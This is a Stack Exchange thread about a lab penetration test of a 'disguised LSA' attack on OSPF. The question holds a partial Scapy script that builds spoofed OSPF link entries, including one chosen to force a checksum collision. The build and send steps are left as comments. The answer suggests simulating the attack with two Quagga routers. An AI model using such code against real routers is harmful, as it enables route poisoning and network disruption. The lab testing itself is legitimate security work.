Information Security Stack Exchange is a question and answer site for information security professionals. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

I want to do disguised LSA attacks on OSPF network and be able to more analyze, so I do not know how it works in practice. This is a penetration test.

The attack is described in the address [+]. I have run the network are as follows:

enter image description here

Source program in accordance with the above photo are as follows:

#!/usr/bin/env python

from scapy.all import *
#from ospf import *
from time import sleep,clock,time

def ourSend(packet):
    sendp(packet,iface='eth0')     # is
#    sleep(2)

def ourSend2(packet):
    sendp(packet,iface='eth1') # is
#    sleep(2)

victim=''          #This is the IP address of interface through which the victim will receive the trigger LSA. 
victimId=''           #This the router ID of the victim router.
victimNeighbor=''  #This is the IP address of a neighbor of the victim router to which the disguised LSA is sent
spoofSRC=''           #This is an IP address of one of the neighbors of the victim. It is used as a spoofed IP 

host1=''      #This will used in the bogus Link entries in the disguised LSA.
host2=''      #This will used in the bogus Link entries in the disguised LSA.
sequence=7               #The sequence number of the disguised LSA

#The bogus Link entries to be included in the disguised LSA. The contents of the last link (collisionLink) is chosen 
# so that the LSA will have a specific checksum desirable to our network example (0x2028 in this example). The contents of this link has been
# calculated offline.  
link2host1 = OSPF_Link(id=host1,data='',type=3)
link2host2 = OSPF_Link(id=host2,data='',type=3)
link2victim = OSPF_Link(id=victimId,data=victim,type=2)
collisionLink = OSPF_Link(id='',data='',type=0,toscount=27,metric=156)

# Build the trigger LSA. Note that it is sent with sequence number that is smaller by one from the sequence of the disguised packet.

#Buid the disguised LSA
#Send them both 

But I do not know why did not affect!! Packet send but not affect.

IOS version : 12

VMnet1,VMnet8 interface is : HostOnly type.

share|improve this question
up vote 0 down vote accepted

This attack is only need two routers.

Quagga software router, the attacker can launch a simulation.

As shown below:

enter image description here

My problem was solved.

share|improve this answer

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.